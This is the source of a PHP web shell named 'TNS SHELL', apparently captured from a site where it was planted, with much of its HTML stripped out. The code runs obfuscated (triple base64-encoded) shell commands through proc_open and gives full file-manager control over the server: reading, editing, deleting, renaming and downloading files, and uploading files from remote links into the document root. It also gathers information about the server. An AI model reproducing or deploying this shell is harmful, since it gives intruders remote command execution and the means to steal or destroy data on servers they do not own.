KM18, 13 South Road

TNS

TNS

TNSSHELL

TNS SHELL

NONE"; } else { $disf = "".$disfunc.""; } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writeable"; } else { return "Writeable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writeable"; } else { return "Writeable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function dunlut($file) { if (!is_readable($file)) { red("Cannot Download File / Unreadable File !"); die(); } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filepath)); flush(); readfile($file); die(); } function owner($file) { if (function_exists("posix_getpwuid")) { $tod = @posix_getpwuid(fileowner($file)); return "

".$tod['name']."

"; } else { return "

".fileowner($file)."

"; } } function cekwrite($lokasi) { $izin = substr(sprintf('%o', fileperms($lokasi)), -4); if (is_writable($lokasi)) { return "".$izin.""; } else { return "".$izin.""; } } function ekse($komend, $lokasi) { if (!function_exists("proc_open")) { die("proc_open function disabled !"); } elseif (!function_exists("base64_decode")) { die("base64_decode function disabled !"); } $komen = base64_decode(base64_decode(base64_decode($komend))); if (strpos($komend, "2>&1") === false) { $komen = base64_decode(base64_decode(base64_decode($komend)))." 2>&1"; } $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi); echo "".htmlspecialchars(stream_get_contents($pipes[1]))."

"; } function ipserv() { if (empty($_SERVER['SERVER_ADDR'])) { return gethostbyname($_SERVER['SERVER_NAME']); if (empty(gethostbyname($_SERVER['SERVER_NAME']))) { return $_SERVER['SERVER_NAME']; } } else { return $_SERVER['SERVER_ADDR']; } } function cekfile($file) { return ' '; } function filedate($file) { return date("F d Y g:i:s", filemtime($file)); } function unzip($file, $lokasi) { if (!is_readable($file)) { red("Cannot Unzip File / Unreadable File !"); die(); } elseif (strpos(file_get_contents($file), "\x50\x4b\x03\x04") === false) { red("This isn't Zip File !"); die(); } $zip = new ZipArchive; $res = $zip -> open($file); if ($res == true) { $zip -> extractTo($lokasi); $zip -> close(); green("Success Unzip File !"); } else { red("Failed to Unzip File !"); } } function green($text) { echo "

".$text."

"; } function red($text) { echo "

".$text."

"; } function detectOperatingSystem() { $os = php_uname('s'); if (stripos($os, 'windows') !== false) { return " Windows OS detected
"; } elseif (stripos($os, 'linux') !== false) { return " Linux OS detected
"; } elseif (stripos($os, 'mac') !== false) { return " macOS detected
"; } else { return "Operating system not detected.
"; } } echo "Server IP : ".ipserv()."  /  Your IP : ".$_SERVER['REMOTE_ADDR']."
"; echo "Web Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".detectOperatingSystem().""; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "MySQL : "; if (function_exists("mysql_connect")) { echo "ON"; } else { echo "OFF"; } echo "  |  cURL : "; if (function_exists("curl_init")) { echo "ON"; } else { echo "OFF"; } echo "  |  WGET : "; if (file_exists("/usr/bin/wget")) { echo "ON"; } else { echo "OFF"; } echo "  |  Perl : "; if (file_exists("/usr/bin/perl")) { echo "ON"; } else { echo "OFF"; } echo "  |  Python : "; if (file_exists("/usr/bin/python2")) { echo "ON"; } else { echo "OFF"; } foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); echo "
Directory (".cekwrite($lokasi).") :  "; foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; if (isset($_POST['upwkwk'])) { if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER['DOCUMENT_ROOT']; } if (isset($_POST['berkasnya'])) { $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name'])); if (file_exists($lokasi."/".$_FILES['berkas']['name'])) { echo "File Uploaded !  ".$lokasi."/".$_FILES['berkas']['name']."

"; } else { echo "Failed to Upload !

"; } } elseif (isset($_POST['linknya'])) { if (empty($_POST['namalink'])) { exit("Filename cannot be empty !"); } if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER['DOCUMENT_ROOT']; } $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink'])); if (file_exists($lokasi."/".$_POST['namalink'])) { echo "File Uploaded !  ".$lokasi."/".$_POST['namalink']."

"; } else { echo "Failed to Upload !

"; } } elseif (isset($_POST['bepas'])) { $bepasdata = $_POST['bepasdata']; $bepasnama = $_POST['bepasnama']; if ($bepasdata) { echo "string"; } @file_put_contents($lokasi."/".$bepasnama, $bepasdata); if (file_exists($lokasi."/".$bepasnama)) { echo "File Uploaded !  ".$lokasi."/".$bepasnama."

"; } else { echo "Failed to Upload !

"; } } } echo "


"; echo ''; echo ''; echo ''; echo ''; echo "

 Home   C0mmand   Upload File 


"; if (isset($_GET['fileloc'])) { echo "Current File : ".$_GET['fileloc']; echo '
'; echo "

".htmlspecialchars(file_get_contents($_GET['fileloc']))."

"; author(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory !"); } else { green("Delete Directory Success !"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File !"); } else { green("Delete File ".basename($_POST['path'])." Success !"); } } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success !"); } else { red("Change Name Failed !"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "".$_POST['path']."
"; echo '

New Name : ".$_POST['path']."

"; echo ''.htmlspecialchars(file_get_contents($_POST['path'])).'


'; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") { dunlut($_POST['path']); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") { unzip($_POST['path'], $lokasi); } elseif (isset($_GET['upload'])) { echo 'Upload File : '; echo '

current_dir [ '.cekdir().' ] document_root [ '.cekroot().' ]


Upload File From Link :
 

403 Upload File

 


'; } elseif (isset($_GET['komend'])) { echo ""; echo '

 

'.@get_current_user().'@'.ipserv().':~ $


'; if (isset($_POST['eksekomend'])) { ekse($_POST['komend'], $lokasi); } echo ""; } if (!is_readable($lokasi)) { die("

This directory is unreadable :(

"); } echo '

'; foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.') continue; echo ""; } echo ''; foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } echo ""; } echo '

Name

Size

Last Modified

Owner

Permissions

Options

".$dir."

--

".filedate($lokasi."/".$dir)."

".owner($lokasi."/".$dir)."

"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "

DeleteRename \" />

           
".cekfile($lokasi."/".$file)."$file

".$size."

".filedate($lokasi."/".$file)."

".owner($lokasi."/".$file)."

"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "

DeleteDownloadRenameEdit"; if (class_exists("ZipArchive")) { echo "Unzip"; } echo " \" />

'; function statusnya($file){ $izin = substr(sprintf('%o', fileperms($file)), -4); return $izin; } ?>